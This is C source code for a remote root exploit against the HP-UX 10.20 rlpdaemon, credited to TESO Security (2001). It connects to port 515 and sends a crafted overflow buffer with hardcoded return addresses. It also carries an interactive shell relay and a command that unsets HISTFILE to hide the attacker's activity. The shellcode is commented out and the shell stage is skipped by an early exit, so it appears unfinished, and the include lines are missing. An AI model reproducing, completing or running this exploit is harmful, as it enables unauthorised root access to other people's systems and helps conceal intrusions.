/* 7350hprlpd - hppa/hpux rlpdaemon remote root exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * ***************************************************************************** * bug published by ISS x-force 2001/08/27 * * */ #define VERSION "0.0.1" #include #include #include #include #include #include #include #include #include #include #include #include #include #include void usage (char *progname); void xp (int fd); void shell (int sock); /* imported from network.c */ #define NET_CONNTIMEOUT 60 int net_conntimeout = NET_CONNTIMEOUT; unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); typedef struct { char * desc; int bsize; int align; int ret_pos; unsigned long int ret_addr; unsigned long int code_addr; } t_elem; t_elem targets[] = { { "HP-UX 10.20", 1100, 3, 100, 0x7b03bff8, 0x30303030 }, { NULL, 0, 0, 0, 0, 0 }, }; //unsigned char * shellcode = x86_bsd_compaexec; #define SHELL_INIT_STR "unset HISTFILE;uname -a;id;pwd;\n" void usage (char *progname) { fprintf (stderr, "usage: %s \n\n", progname); fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n" "-c\tcheck exploitability only, do not exploit\n" "-f\tforce mode, override check results\n\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { int fd; char c; char * progname; char * dest; fprintf (stderr, "7350hprlpd - hppa/hpux rlpdaemon remote root\n" "by scut.\n\n"); progname = argv[0]; if (argc < 2) usage (progname); #if 0 while ((c = getopt (argc, argv, "n:cf")) != EOF) { switch (c) { case 'n': num = atoi (optarg); break; case 'c': checkonly = 1; break; case 'f': force = 1; break; default: usage (progname); break; } } #endif dest = argv[argc - 1]; if (dest[0] == '-') usage (progname); fd = net_connect (NULL, dest, 515, 20); if (fd <= 0) { fprintf (stderr, "failed to connect\n"); exit (EXIT_FAILURE); } #ifdef DEBUG getchar (); #endif xp (fd); sleep (15); /*XXX*/ exit (EXIT_SUCCESS); printf ("## ok, you should now have a root shell\n"); printf ("##\n"); fflush (stdout); write (fd, SHELL_INIT_STR, strlen (SHELL_INIT_STR)); shell (fd); exit (EXIT_SUCCESS); } void xp (int fd) { int n; unsigned char buf[2048]; /* first request */ memset (buf, '\x00', sizeof (buf)); n = 0; buf[n++] = '\6'; buf[n++] = '\n'; buf[n++] = '\0'; send (fd, buf, strlen (buf), 0); sleep (1); /* second request */ memset (buf, '\x00', sizeof (buf)); n = 0; buf[n++] = '\6'; memset (&buf[n], 'A', 1051); n += strlen (&buf[n]); buf[n++] = '\x00'; buf[n++] = '\x00'; buf[n++] = '\x8c'; buf[n++] = '\xa3'; buf[n++] = '\xc0'; buf[n++] = '\x13'; buf[n++] = '\xd2'; buf[n++] = '\x03'; for ( ; n < 2000 ; ++n) buf[n] = '0'; buf[n++] = '\n'; buf[n++] = '\0'; n = send (fd, buf, n, 0); } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l <= 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); }